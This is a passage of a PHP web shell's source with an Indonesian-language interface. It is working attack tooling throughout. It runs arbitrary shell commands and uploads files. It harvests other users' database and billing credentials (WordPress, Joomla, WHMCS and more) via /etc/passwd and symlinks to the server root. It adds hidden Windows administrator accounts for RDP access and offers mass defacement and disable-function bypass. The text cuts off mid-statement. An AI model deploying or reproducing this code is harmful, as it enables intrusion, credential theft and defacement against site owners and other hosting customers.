if(strpos($param, $kata1) === FALSE) return FALSE;\n    if(strpos($param, $kata2) === FALSE) return FALSE;\n    $start = strpos($param, $kata1) + strlen($kata1);\n    $end = strpos($param, $kata2, $start);\n    $return = substr($param, $start, $end - $start);\n    return $return;\n}\nif(get_magic_quotes_gpc()) {\n    function idx_ss($array) {\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\n    }\n    $_POST = idx_ss($_POST);\n}\n\nfunction exe($cmd) {\n    if(function_exists(\'system\')) {        \n@ob_start();       \n@system($cmd);     \n$buff = @ob_get_contents();        \n@ob_end_clean();       \nreturn $buff;  \n    } elseif(function_exists(\'exec\')) {        \n@exec($cmd,$results);      \n$buff = "";        \nforeach($results as $result) {         \n    $buff .= $result;      \n} return $buff;    \n    } elseif(function_exists(\'passthru\')) {        \n@ob_start();       \n@passthru($cmd);       \n$buff = @ob_get_contents();        \n@ob_end_clean();       \nreturn $buff;  \n    } elseif(function_exists(\'shell_exec\')) {      \n$buff = @shell_exec($cmd);     \nreturn $buff;  \n    }\n}\n\n//check dir\n$nick = "k0v3T";\nif(isset($_GET[\'path\'])){\n$path = $_GET[\'path\'];\n}else{\n$path = getcwd();\n}\n$software = getenv("SERVER_SOFTWARE");\n$path = str_replace(\'\\\\\',\'/\',$path);\n$paths = explode(\'/\',$path);\n\n\n////////////////////////////////////////\n\nif(!function_exists(\'posix_getegid\')) {\n    $user = @get_current_user();\n    $uid = @getmyuid();\n    $gid = @getmygid();\n    $group = "?";\n} else {\n    $uid = @posix_getpwuid(posix_geteuid());\n    $gid = @posix_getgrgid(posix_getegid());\n    $user = $uid[\'name\'];\n    $uid = $uid[\'uid\'];\n    $group = $gid[\'name\'];\n    $gid = $gid[\'gid\'];\n} \n//uname\necho "<br><b><i><center><font color=yellow size=3>Current Dir </font>: ";\nforeach($paths as $id=>$pat){\nif($pat == \'\' && $id == 0){\n$a = true;\necho \'<a href="?path=/">/</a>\';\ncontinue;\n}\nif($pat == \'\') continue;\necho \'<a href="?path=\';\nfor($i=0;$i<=$id;$i++){\necho "$paths[$i]";\nif($i != $id) echo "/";\n}\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\n}\n\n##TOOLBAR\necho "<hr color=yellow>\n<br><center>\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\n<br><br>\n<font size=3><a href=\'?path=$path&a=mass_deface\' class=\'tombols\'>Mass Deface</a>\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\n<font size=3><a href=\'?path=$path&a=rdpshell\' class=\'tombols\'>K-RDP 5H3LL</a>\n<br><br>\n<font size=3><a href=\'?path=$path&a=adminer\' class=\'tombols\'>Adminer</a>\n<font size=3><a href=\'?path=$path&a=getcp\' class=\'tombols\'>Change Password cPanel</a>\n<font size=3><a href=\'?path=$path&a=zone-h\' class=\'tombols\'>Zone-H</a>\n\n\n</center></br>\n<hr color=yellow><center>";\n\n//uploads\nif($_GET[\'a\'] == \'upload\') {\nif(isset($_FILES[\'file\'])){\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="red">Error</font><br />\';\n}\n}\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\nUpload File :<br><input type="file" name="file" />\n<input type="submit" value="Upload" />\n</form><br>\n</td></tr>\';    \n\n\n} elseif($_GET[\'a\'] == \'configv2\') {\n            if(strtolower(substr(PHP_OS, 0, 3)) == "win"){\necho \'<script>alert("Cannot be used on a Windows server")</script>\';\nexit;\n}\n    if($_POST){ if($_POST[\'config\'] == \'symvhosts\') {\n        @mkdir("RBBD_symvhosts", 0777);\nexe("ln -s / RBBD_symvhosts/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symvhosts/.htaccess",$htaccess);\n        $etc_passwd=$_POST[\'passwd\'];\n    \n    $etc_passwd=explode("\\n",$etc_passwd);\nforeach($etc_passwd as $passwd){\n$pawd=explode(":",$passwd);\n$user =$pawd[5];\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\nif (preg_match(\'/vhosts/i\',$user)){\nexe("ln -s ".$user."/httpdocs/wp-config.php rbbd_symvhosts/".$jembod."-Wordpress.txt");\nexe("ln -s ".$user."/httpdocs/configuration.php rbbd_symvhosts/".$jembod."-Joomla.txt");\nexe("ln -s ".$user."/httpdocs/config/koneksi.php rbbd_symvhosts/".$jembod."-Lokomedia.txt");\nexe("ln -s ".$user."/httpdocs/forum/config.php rbbd_symvhosts/".$jembod."-phpBB.txt");\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php rbbd_symvhosts/".$jembod."-Drupal.txt");\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php rbbd_symvhosts/".$jembod."-PrestaShop.txt");\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml rbbd_symvhosts/".$jembod."-Magento.txt");\nexe("ln -s ".$user."/httpdocs/admin/config.php rbbd_symvhosts/".$jembod."-OpenCart.txt");\nexe("ln -s ".$user."/httpdocs/application/config/database.php rbbd_symvhosts/".$jembod."-Ellislab.txt"); \n}}}\nif($_POST[\'config\'] == \'symlink\') {\n@mkdir("rbbd_symconfig", 0777);\n@symlink("/","rbbd_symconfig/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symconfig/.htaccess",$htaccess);}\nif($_POST[\'config\'] == \'404\') {\n@mkdir("rbbd_sym404", 0777);\n@symlink("/","rbbd_sym404/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\nIndexIgnore *.txt404\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} ^.*rbbd_sym404 [NC]\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\n@file_put_contents("rbbd_sym404/.htaccess",$htaccess);\n}\nif($_POST[\'config\'] == \'grab\') {\n                        mkdir("rbbd_configgrab", 0777);\n                        $isi_htc = "Options all\\nRequire None\\nSatisfy Any";\n                        $htc = fopen("rbbd_configgrab/.htaccess","w");\n                        fwrite($htc, $isi_htc); \n}\n$passwd = $_POST[\'passwd\'];\n\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\nforeach($user_config[1] as $user_rbbd) {\n$grab_config = array(\n"/home/$user_rbbd/.accesshash" => "WHM-accesshash",\n"/home/$user_rbbd/public_html/config/koneksi.php" => "Lokomedia",\n"/home/$user_rbbd/public_html/forum/config.php" => "phpBB",\n"/home/$user_rbbd/public_html/sites/default/settings.php" => "Drupal",\n"/home/$user_rbbd/public_html/config/settings.inc.php" => "PrestaShop",\n"/home/$user_rbbd/public_html/app/etc/local.xml" => "Magento",\n"/home/$user_rbbd/public_html/admin/config.php" => "OpenCart",\n"/home/$user_rbbd/public_html/application/config/database.php" => "Ellislab",\n"/home/$user_rbbd/public_html/vb/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forum/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forums/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/cc/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/inc/config.php" => "MyBB",\n"/home/$user_rbbd/public_html/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/shop/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/os/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/oscom/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/products/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\n);  \n\nforeach($grab_config as $config => $nama_config) {\n    if($_POST[\'config\'] == \'grab\') {\n$ambil_config = file_get_contents($config);\nif($ambil_config == \'\') {\n} else {\n$file_config = fopen("rbbd_configgrab/$user_rbbd-$nama_config.txt","w");\nfputs($file_config,$ambil_config);\n}\n}\nif($_POST[\'config\'] == \'symlink\') {\n@symlink($config,"rbbd_Symconfig/".$user_rbbd."-".$nama_config.".txt");\n}\nif($_POST[\'config\'] == \'404\') {\n$sym404=symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt");\nif($sym404){\n    @mkdir("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404", 0777);\n    $htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nHeaderName rbbd.txt\nSatisfy Any\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\nIndexIgnore *";\n\n@file_put_contents("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/.htaccess",$htaccess);\n\n@symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/rbbd.txt");\n\n    }\n\n}\n\n                    }     \n        }  if($_POST[\'config\'] == \'grab\') {\n            echo "<center><a href=\'?path=$path/rbbd_configgrab\'><font color=lime>Done</font></a></center>";\n        }\n    if($_POST[\'config\'] == \'404\') {\n        echo "<center>\n<a href=\\"rbbd_sym404/root/\\">SymlinkNya</a>\n<br><a href=\\"rbbd_sym404/\\">Configurations</a></center>";\n    }\n     if($_POST[\'config\'] == \'symlink\') {\necho "<center>\n<a href=\\"rbbd_symconfig/root/\\">Symlinknya</a>\n<br><a href=\\"rbbd_symconfig/\\">Configurations</a></center>";\n            }if($_POST[\'config\'] == \'symvhost\') {\necho "<center>\n<a href=\\"rbbd_symvhost/root/\\">Root Server</a>\n<br><a href=\\"rbbd_symvhost/\\">Configurations</a></center>";\n            }\n        \n        \n        }else{\n        echo "<form method=\\"post\\" action=\\"\\"><center>\n        </center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\n        echo include("/etc/passwd"); \n        echo "</textarea><br><br>\n        <select class=\\"select\\" name=\\"config\\"  style=\\"width: 450px;\\" height=\\"10\\">\n        <option value=\\"grab\\">Config Grab</option>\n        <option value=\\"symlink\\">Symlink Config</option>\n        <option value=\\"404\\">Config 404</option>\n        <option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\n}\n\n#ADMINER\n} elseif($_GET[\'a\'] == \'adminer\') {\n    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n    function adminer($url, $isi) {\n        $fp = fopen($isi, "w");\n        $ch = curl_init();\n              curl_setopt($ch, CURLOPT_URL, $url);\n              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n              curl_setopt($ch, CURLOPT_FILE, $fp);\n        return curl_exec($ch);\n              curl_close($ch);\n        fclose($fp);\n        ob_flush();\n        flush();\n    }\n    if(file_exists(\'adminer.php\')) {\n        echo "<center><font color=yellow><a href=\'$full/adminer.php\' target=\'_blank\'>enter Adminer</a></font></center>";\n    } else {\n        if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\n            echo "<center><font color=yellow><a href=\'$full/adminer.php\' target=\'_blank\'>enter Adminer</a></font></center>";\n        } else {\n            echo "<center><font color=red>Filed file adminer</font></center>";\n        }\n    }\n\n#KRDP_SHELL\n} elseif($_GET[\'a\'] == \'rdpshell\') {\n    if(strtolower(substr(PHP_OS, 0, 3)) === \'win\') {\n        if($_POST[\'create\']) {\n            $user = htmlspecialchars($_POST[\'user\']);\n            $pass = htmlspecialchars($_POST[\'pass\']);\n            if(preg_match("/$user/", exe("net user"))) {\n                echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";\n            } else {\n                $add_user   = exe("net user $user $pass /add");\n                $add_groups1 = exe("net localgroup Administrators $user /add");\n                $add_groups2 = exe("net localgroup Administrator $user /add");\n                $add_groups3 = exe("net localgroup Administrator $user /add");\n                echo "[ RDP ACCOUNT INFO ]<br>\n                ------------------------------<br>\n                IP: <font color=lime>".$ip."</font><br>\n                Username: <font color=lime>$user</font><br>\n                Password: <font color=lime>$pass</font><br>\n                ------------------------------<br><br>\n                [ STATUS ]<br>\n                ------------------------------<br>\n                ";\n                if($add_user) {\n                    echo "[add user] -> <font color=\'lime\'>Berhasil</font><br>";\n                } else {\n                    echo "[add user] -> <font color=\'red\'>Gagal</font><br>";\n                }\n                if($add_groups1) {\n                    echo "[add localgroup Administrators] -> <font color=\'lime\'>Berhasil</font><br>";\n                } elseif($add_groups2) {\n                    echo "[add localgroup Administrator] -> <font color=\'lime\'>Success</font><br>";\n                } elseif($add_groups3) { \n                    echo "[add localgroup Administrateur] -> <font color=\'lime\'>Success</font><br>";\n                } else {\n                    echo "[add localgroup] -> <font color=\'red\'>Filed</font><br>";\n                }\n                echo "------------------------------<br>";\n            }\n        } elseif($_POST[\'s_opsi\']) {\n            $user = htmlspecialchars($_POST[\'r_user\']);\n            if($_POST[\'opsi\'] == \'1\') {\n                $cek = exe("net user $user");\n                echo "Checking username <font color=lime>$user</font> ....... ";\n                if(preg_match("/$user/", $cek)) {\n                    echo "[ <font color=lime>Sudah ada</font> ]<br>\n                    ------------------------------<br><br>\n                    <pre>$cek</pre>";\n                } else {\n                    echo "[ <font color=red>belum ada</font> ]";\n                }\n            } elseif($_POST[\'opsi\'] == \'2\') {\n                $cek = exe("net user $user indoxploit");\n                if(preg_match("/$user/", exe("net user"))) {\n                    echo "[change password: <font color=lime>indoxploit</font>] -> ";\n                    if($cek) {\n                        echo "<font color=lime>ok</font>";\n                    } else {\n                        echo "<font color=red>Filed</font>";\n                    }\n                } else {\n                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";\n                }\n            } elseif($_POST[\'opsi\'] == \'3\') {\n                $cek = exe("net user $user /DELETE");\n                if(preg_match("/$user/", exe("net user"))) {\n                    echo "[remove user: <font color=lime>$user</font>] -> ";\n                    if($cek) {\n                        echo "<font color=lime>ok</font>";\n                    } else {\n                        echo "<font color=red>error</font>";\n                    }\n                } else {\n                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";\n                }\n            } else {\n                //\n            }\n        } else {\n            echo "-- Create RDP --<br>\n            <form method=\'post\'>\n            <input type=\'text\' name=\'user\' placeholder=\'username\' value=\'  username\' required>\n            <input type=\'text\' name=\'pass\' placeholder=\'password\' value=\'  password\' required>\n            <input type=\'submit\' name=\'create\' value=\'>>\'>\n            </form>\n            -- Option --<br>\n            <form method=\'post\'>\n            <input type=\'text\' name=\'r_user\' placeholder=\'  username\' required>\n            <select name=\'opsi\'>\n            <option value=\'1\'>Cek Username</option>\n            <option value=\'2\'>Ubah Password</option>\n            <option value=\'3\'>Hapus Username</option>\n            </select>\n            <input type=\'submit\' name=\'s_opsi\' value=\'>>\'>\n            </form>\n            ";\n        }\n    } else {\n        echo "<font color=red>can only be on Windows server.</font>";\n    }\n#JUMPING\n} elseif($_GET[\'a\'] == \'jumping\') {\n    $i = 0;\n    echo "<div class=\'margin: 5px auto;\'>";\n    if(preg_match("/hsphere/", $dir)) {\n        $urls = explode("\\r\\n", $_POST[\'url\']);\n        if(isset($_POST[\'jump\'])) {\n            echo "<pre>";\n            foreach($urls as $url) {\n                $url = str_replace(array("http://","www."), "", strtolower($url));\n                $etc = "/etc/passwd";\n                $f = fopen($etc,"r");\n                while($gets = fgets($f)) {\n                    $pecah = explode(":", $gets);\n                    $user = $pecah[0];\n                    $dir_user = "/hsphere/local/home/$user";\n                    if(is_dir($dir_user) === true) {\n                        $url_user = $dir_user."/".$url;\n                        if(is_readable($url_user)) {\n                            $i++;\n                            $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$url_user\'><font color=gold>$url_user</font></a>";\n                            if(is_writable($url_user)) {\n                                $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$url_user\'><font color=gold>$url_user</font></a>";\n                            }\n                            echo $jrw."<br>";\n                        }\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n        } else {\n            echo \'<center>\n                  <form method="post">\n                  List Domains: <br>\n                  <textarea name="url" style="width: 500px; height: 250px;">\';\n            $fp = 